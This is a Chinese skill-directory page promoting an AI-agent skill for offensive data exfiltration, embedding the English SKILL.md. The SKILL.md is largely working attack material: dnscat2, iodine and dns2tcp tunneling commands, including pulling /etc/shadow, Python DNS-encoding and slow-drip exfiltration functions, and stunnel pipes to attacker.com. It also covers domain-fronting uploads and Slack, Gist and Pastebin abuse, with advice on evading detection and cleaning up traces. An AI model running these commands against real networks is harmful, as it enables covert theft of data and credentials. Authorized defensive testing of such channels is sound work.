offensive-data-exfiltration
它能做什么
这是一套测试数据外泄控制的方法论,涵盖 DNS、HTTPS、ICMP、云存储和电子邮件通道。适合在获得许可的情况下,检查数据丢失防护能否发现隐蔽传输的安全团队。
适用场景
- ✓你在授权测试中检查出站 DNS 或 ICMP 流量能否携带数据离开网络的时候。
- ✓你想检查云存储或电子邮件能否被用来转移数据的时候。
- ✓你需要验证外泄的数据能否被你的监控发现的时候。
技能链接
https://github.com/SnailSploit/Claude-Red/blob/main/Skills/post-exploitation/offensive-data-exfiltration/SKILL.md复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。
使用方法
最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。
可直接粘贴的消息
适用于 Claude Code、Codex 或 Cursor:在项目文件夹中运行,即可安装该技能。
下载 SKILL.md,放进智能体的技能文件夹。
可以这样问 AI
“我们已获得授权测试我们的数据丢失防护措施。请检查 DNS 流量能否把数据带出我们的网络。”
每周 5 个新技能,1 分钟读完。
工作原理
这个技能盘点测试数据,将其分阶段准备,压缩并加密,然后选择网络允许的通道。随后验证数据,并在之后清理暂存文件。
技术内容(原始 SKILL.md)
作者在 GitHub 上的英文原文。
Data Exfiltration -- Offensive Methodology
Quick Workflow
- Inventory target data. Map files, databases, credentials. Assess volume and classification.
- Stage. Copy to a controlled directory. Strip unnecessary metadata and deduplicate.
- Compress and split. Tar/zip, then chunk for your channel (DNS < 253 bytes/label; HTTPS tolerates MB).
- Encrypt. AES-256-GCM or ChaCha20 every chunk. Never exfiltrate plaintext.
- Select channel. DNS (port 53 only), HTTPS (web allowed), ICMP (ping allowed), cloud (SaaS access).
- Transmit. Slow-drip for stealth; burst when you have a short window. Match baseline traffic rates.
- Verify receipt. Recompute SHA-256 on the receiving end and compare against source manifest.
- Clean up. Securely delete staging, temp files, dropped tools, and any scheduled tasks.
DNS Exfiltration
MITRE: T1048.003 -- Exfiltration Over Alternative Protocol: DNS
dnscat2
# Server -- set NS record for exfil.yourdomain.com -> your_server_ip first
ruby dnscat2.rb exfil.yourdomain.com --secret=YourSharedSecret
# Client on target
./dnscat --dns=domain:exfil.yourdomain.com --secret=YourSharedSecret
# Server console -- file transfer
session -i 1
download /etc/shadow /tmp/loot/shadow
# Force CNAME queries to avoid TXT-based detection
./dnscat --dns="domain=exfil.yourdomain.com,type=CNAME" --secret=YourSharedSecret
iodine Tunneling
# Server (authoritative NS)
iodined -f -c -P ExfilPassword 10.0.0.1 tunnel.yourdomain.com
# Client -- creates dns0 interface at 10.0.0.2
iodine -f -P ExfilPassword tunnel.yourdomain.com
scp /tmp/staged.tar.enc attacker@10.0.0.1:/loot/
dns2tcp
# Server (/etc/dns2tcpd.conf): domain = exfil.yourdomain.com, resources = ssh:127.0.0.1:22
dns2tcpd -f /etc/dns2tcpd.conf
# Client -- tunnel SSH over DNS
dns2tcpc -r ssh -z exfil.yourdomain.com -l 2222 -d 1
ssh -p 2222 attacker@127.0.0.1
TXT/CNAME Record Encoding
import base64, dns.resolver
def dns_exfil(data, domain, chunk_size=60):
encoded = base64.b32encode(data).decode()
for seq, i in enumerate(range(0, len(encoded), chunk_size)):
query = f"{seq}.{encoded[i:i+chunk_size]}.data.{domain}"
try: dns.resolver.resolve(query, "TXT")
except Exception: pass # data is in the query itself
Slow-Drip DNS
import random, time, base64, dns.resolver
def slow_drip_exfil(data, domain, min_delay=30, max_delay=120):
encoded = base64.b32encode(data).decode()
for seq, i in enumerate(range(0, len(encoded), 60)):
query = f"{seq}.{encoded[i:i+60]}.d.{domain}"
try: dns.resolver.resolve(query, "A")
except Exception: pass
time.sleep(random.uniform(min_delay, max_delay))
PacketWhisper exfiltrates via DNS without owning a server -- encodes data as queries captured from a PCAP: python3 packetwhisper.py --mode transmit --file loot.enc --cipher_num 1.
HTTPS Tunneling
MITRE: T1041 -- Exfiltration Over C2 Channel; T1071.001 -- Web Protocols
stunnel
Server wraps a port 8080 listener in TLS on 443. Client: stunnel -c -d 127.0.0.1:9090 -r attacker.com:443, then cat /tmp/staged.tar.enc | ncat 127.0.0.1 9090.
Domain Fronting via CDN
# Outer SNI = legitimate-site.azureedge.net; inner Host = your collection server
curl -s -H "Host: your-collection.azureedge.net" \
--data-binary @/tmp/staged.tar.enc https://legitimate-site.azureedge.net/upload
# chisel full tunnel behind CDN
chisel server --port 443 --reverse --auth user:pass # server side
chisel client --header "Host: your-collection.azureedge.net" \
https://legitimate-cdn-domain.com R:socks # client side
Legitimate Service Abuse
# Slack webhook
curl -X POST -H 'Content-type: application/json' \
--data "{\"text\":\"$(base64 /tmp/chunk_001.enc)\"}" \
https://hooks.slack.com/services/T00/B00/XXX
# GitHub Gist -- private gist per chunk
import requests, base64
def gist_exfil(data, token):
requests.post("https://api.github.com/gists",
json={"public": False, "files": {"d.txt": {"content": base64.b64encode(data).decode()}}},
headers={"Authorization": f"token {token}"})
# Pastebin API from Windows
$data = [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\staged\data.enc"))
Invoke-RestMethod -Uri "https://pastebin.com/api/api_post.php" -Method POST -Body @{
api_dev_key="K
常见问题
它会发送真实的客户数据吗?
这个技能建议尽可能使用测试数据,绝不传输明文,并且只用于授权测试。
它涵盖哪些通道?
它涵盖 DNS、HTTPS、ICMP、云存储、电子邮件和隐写术。
为什么要检查这些通道?
目的是查看防御方实际上能检测和阻断哪些路径。
详情
作者的原始描述
Dense methodology covering DNS exfiltration (dnscat2, iodine, dns2tcp), HTTPS tunneling (domain fronting, CDN abuse, legitimate service channels), ICMP tunneling (icmpsh, ptunnel-ng), cloud storage dead drops (S3 presigned URLs, Azure Blob SAS tokens, GCS signed URLs), email-based exfil (SMTP, EWS, draft method), steganography (image, audio, document metadata), encoding/encryption (base64 chunking, XOR, AES), covert channels (custom protocol tunneling, HTTP header encoding, timing channels), and data staging (compression, splitting, encryption). Tools: dnscat2, iodine, dns2tcp, PacketWhisper,
repo: SnailSploit/Claude-Red
热度
- GitHub 星标
- 10k
- 排名
- #11964
- 许可证
- MIT
- 更新时间
- 2026/10/12
评论
- …
同一仓库的更多技能
offensive-active-directory
10k帮你的智能体规划经授权的 Active Directory 安全测试,从梳理网络到找出通往域管理员的攻击路径。
offensive-netexec
10k帮你的智能体使用 NetExec(nxc)工具进行经授权的网络测试,涵盖协议、认证和凭据检查。
offensive-api-abuse
10k帮你的智能体规划经授权的 API 安全测试,查找业务逻辑滥用、GraphQL 风险和竞态条件。
offensive-api-security
10k帮你的智能体依据 OWASP API Top 10,对 REST、gRPC 和 WebSocket API 进行经授权的安全测试。